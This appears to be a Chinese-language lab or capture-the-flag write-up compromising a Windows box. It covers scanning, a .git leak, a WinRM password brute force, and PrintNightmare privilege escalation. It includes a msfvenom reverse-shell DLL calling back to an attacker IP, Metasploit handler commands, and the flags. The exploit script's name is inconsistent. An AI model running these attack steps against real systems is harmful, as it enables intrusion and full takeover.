

目标IP 192.168.0.12 先扫一下端口

```
80/tcp    open  http      Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
135/tcp    open  msrpc      Microsoft Windows RPC
139/tcp    open  netbios-ssn Microsoft Windows netbios-ssn
445/tcp    open  microsoft-ds?
5985/tcp   open  http      Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
8080/tcp   open  http      Apache httpd 2.4.39 ((Win64) OpenSSL/1.1.1b
mod_fcgid/2.3.9a mod_log_rotate/1.02)
47001/tcp  open  http      Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
49664/tcp  open  msrpc      Microsoft Windows RPC
49665/tcp  open  msrpc      Microsoft Windows RPC
49666/tcp  open  msrpc      Microsoft Windows RPC
49667/tcp  open  msrpc      Microsoft Windows RPC
49668/tcp  open  msrpc      Microsoft Windows RPC
49669/tcp  open  msrpc      Microsoft Windows RPC
49686/tcp  open  msrpc      Microsoft Windows RPC
```

看到开启了smb和rpc,尝试连接

```
smbclient -L //192.168.0.12 -N
NT_STATUS_ACCESS_DENIED

rpcclient -U "" -N 192.168.0.12
NT_STATUS_ACCESS_DENIED
```

这时候看下web服务吧

只有8080是自建的，直接看 8080

首页只有一个 Hello Windows ，扫下文件

```
ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt -u
http://192.168.0.12:8080/FUZZ -fc 404 -fs 328
```

```
/'___\ /'___\ /'___\
/\ ___/ /\ ___/ __ __ /\ ___/
\ \ ,__\ \ \ ,__\ \ \ \ \ ,__\
\ \ \_/ \ \ \_/ \ \ \_/ \ \ \_/
\ \ \ \ \ \ \ \ \ \ \ \ \ \ \
\ \ \ \ \ \ \ \ \ \ \ \ \ \ \
\ \ \ \ \ \ \ \ \ \ \ \ \ \ \
```

v2.1.0-dev

```
-----  
:: Method           : GET  
:: URL              : http://192.168.0.12:8080/FUZZ  
:: Wordlist          : FUZZ: /usr/share/seclists/Discovery/Web-Content/raft-  
medium-files.txt  
:: Follow redirects : false  
:: Calibration       : false  
:: Timeout           : 10  
:: Threads           : 40  
:: Matcher           : Response status: 200-299,301,302,307,401,403,405,500  
:: Filter            : Response status: 404  
:: Filter            : Response size: 328  
-----
```

```
.htaccess           [Status: 403, Size: 337, Words: 31, Lines: 12,  
Duration: 1ms]  
.html               [Status: 403, Size: 333, Words: 31, Lines: 12,  
Duration: 2ms]  
.htpasswd           [Status: 403, Size: 337, Words: 31, Lines: 12,  
Duration: 1ms]  
.htm               [Status: 403, Size: 332, Words: 31, Lines: 12,  
Duration: 0ms]  
.git               [Status: 301, Size: 238, Words: 14, Lines: 8,  
Duration: 2ms]  
.htpasswds          [Status: 403, Size: 338, Words: 31, Lines: 12,  
Duration: 1ms]  
.htgroup           [Status: 403, Size: 336, Words: 31, Lines: 12,  
Duration: 0ms]  
index.php           [Status: 200, Size: 16, Words: 2, Lines: 1, Duration:  
904ms]  
.                  [Status: 200, Size: 16, Words: 2, Lines: 1, Duration:  
1006ms]  
.htaccess.bak       [Status: 403, Size: 341, Words: 31, Lines: 12,  
Duration: 1ms]  
.htuser            [Status: 403, Size: 335, Words: 31, Lines: 12,  
Duration: 1ms]  
.ht                [Status: 403, Size: 331, Words: 31, Lines: 12,  
Duration: 1ms]  
.htc               [Status: 403, Size: 332, Words: 31, Lines: 12,  
Duration: 3ms]  
Index.php           [Status: 200, Size: 16, Words: 2, Lines: 1, Duration:  
1005ms]
```

发现 .git , 看了下提交记录

```
git log --all
commit 860d15fe084d8cdbeb36064d40cda570810296e5 (HEAD -> master)
Author: kaada <kaada@11s.dsz>
Date:    Sun Jul 12 04:47:51 2026 -0400

    Initial website deploy & author: kaada & TODO:change default password
before release
```

知道了用户名 kaada
找了找没其他信息了，爆破下吧

```
WINRM          192.168.0.12    5985    WIN-C08A2CNP250  [+] WIN-
C08A2CNP250\kaada:Password1 (Pwn3d!)
```

登进去

```
*Evil-WinRM* PS C:\Users\kaada\Documents> cat ../Desktop/user.txt
flag{user-51a7cf02f9dc6b536b2423057b864b3d}
```

开始提权，先看用户权限

```
*Evil-WinRM* PS C:\Users\kaada\Desktop> whoami /groups
组信息
-----
```

组名	类型	SID	属性
Everyone	已知组	S-1-1-0	必需的组，启用于默认，启用的组
BUILTIN\Remote Management Users	别名	S-1-5-32-580	必需的组，启用于默认，启用的组
BUILTIN\Users	别名	S-1-5-32-545	必需的组，启用于默认，启用的组
NT AUTHORITY\NETWORK	已知组	S-1-5-2	必需的组，启用于默认，启用的组
NT AUTHORITY\Authenticated Users	已知组	S-1-5-11	必需的组，启用于默认，启用的组
NT AUTHORITY\This Organization	已知组	S-1-5-15	必需的组，启用于默认，启用的组
NT AUTHORITY\本地帐户	已知组	S-1-5-113	必需的组，启用于默认，启用的组
NT AUTHORITY\NTLM Authentication	已知组	S-1-5-64-10	必需的组，启用于默认，启用的组

启用的组

Mandatory Label\Medium Mandatory Level 标签 S-1-16-8192

这里上传了 winPEAS 找了半天没什么有用的
看了下正在运行的服务

```
*Evil-WinRM* PS C:\Users\kaada\Documents> net start  
已经启动以下 Windows 服务:
```

- Apache
- Application Host Helper Service
- Background Tasks Infrastructure Service
- Base Filtering Engine
- CNG Key Isolation
- COM+ Event System
- COM+ System Application
- Connected User Experiences and Telemetry
- CoreMessaging
- Cryptographic Services
- DCOM Server Process Launcher
- DHCP Client
- Diagnostic Policy Service
- Distributed Link Tracking Client
- Distributed Transaction Coordinator
- DNS Client
- Group Policy Client
- IKE and AuthIP IPsec Keying Modules
- IP Helper
- IPsec Policy Agent
- Local Session Manager
- Network Connection Broker
- Network List Service
- Network Location Awareness
- Network Store Interface Service
- phpstudy服务
- Plug and Play
- Power
- Print Spooler
- Remote Access Connection Manager
- Remote Procedure Call (RPC)
- RPC Endpoint Mapper
- Secure Socket Tunneling Protocol Service
- Security Accounts Manager
- Server
- Shell Hardware Detection

State Repository Service
SysMain
System Event Notification Service
System Events Broker
Task Scheduler
Themes
Time Broker
Update Orchestrator Service
User Access Logging Service
User Manager
User Profile Service
VMware Alias Manager and Ticket Service
VMware SVGA Helper Service
VMware Tools
Web 帐户管理器
Windows Connection Manager
Windows Defender Firewall
Windows Event Log
Windows Font Cache Service
Windows Management Instrumentation
Windows Process Activation Service
Windows Remote Management (WS-Management)
Windows Time
Windows Update
Windows 推送通知系统服务
Windows 许可证管理器服务
WinHTTP Web Proxy Auto-Discovery Service
Workstation
World Wide Web 发布服务
连接设备平台服务

命令成功完成。

发现了个 Print Spooler

测试一下

```
./printheatmap.py -check 'kaada:Password1@192.168.0.12'  
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies  
  
[*] Target appears to be vulnerable!
```

这里直接引用这个脚本的说明 <https://github.com/ly4k/PrintNightmare>

PrintNightmare 漏洞实际上由两个 CVE 编号所对应：CVE-2021-1675 和 CVE-2021-34527。
CVE-2021-1675

非管理员用户也被允许添加新的打印机驱动程序。这一漏洞已得到修复：现在只有管理员才有权添加新的打印机驱动程序。如果非管理员试图添加新的打印机驱动程序，经过修复的打印后台处理程序会返回 `RPC_E_ACCESS_DENIED`（代码：0x8001011b）。

CVE-2021-34527

在添加新的打印机驱动程序时，`DRIVER_CONTAINER` 中的 `pDataFile` 参数允许使用 UNC 路径。不过，`pDataFile` 中指定的 DLL 不会被加载，而是会被复制到本地路径上。这样，我们就可以使用 `pConfigFile` 参数来指定该本地路径，从而加载相应的 DLL。经过修改的打印后台处理程序会返回 `ERROR_INVALID_PARAMETER`（代码：0x57）。

用msf也可以

```
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.10 LPORT=4444 -f dll > payload.dll
```

```
[*] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
```

```
[*] No arch selected, selecting arch: x64 from the payload
```

```
No encoder specified, outputting raw payload
```

```
Payload size: 509 bytes
```

```
Final size of dll file: 9216 bytes
```

```
Evil-WinRM PS C:\Users\kaada\Documents> upload /home/xxx/payload.dll payload.dll
```

```
Info: Uploading /home/xxx/payload.dll to C:\Users\kaada\Documents\payload.dll
```

```
Data: 12288 bytes of 12288 bytes copied
```

```
Info: Upload successful!
```

启动监听

```
msf > use exploit/multi/handler
```

```
[*] Using configured payload generic/shell_reverse_tcp
```

```
msf exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
```

```
payload => windows/x64/meterpreter/reverse_tcp
```

```
msf exploit(multi/handler) > set LHOST 192.168.0.10
```

```
LHOST => 192.168.0.10
```

```
msf exploit(multi/handler) > set LPORT 4444
```

```
LPORT => 4444
```

```
msf exploit(multi/handler) > run
```

然后执行

```
printheater.py -dll 'C:\Users\kaada\Documents\payload.dll'
```

```
'kaada:Password1@192.168.0.12'
```

```
C:\Windows\system32>whoami
```

```
whoami
```

```
nt authority\system
```

```
C:\Windows\system32>type C:\Users\Administrator\Desktop\root.txt
```

```
type C:\Users\Administrator\Desktop\root.txt
```

```
flag{root-58c1c19e8389524ba790c691541cb5b0}
```

获得 flag

```
flag{root-58c1c19e8389524ba790c691541cb5b0}
```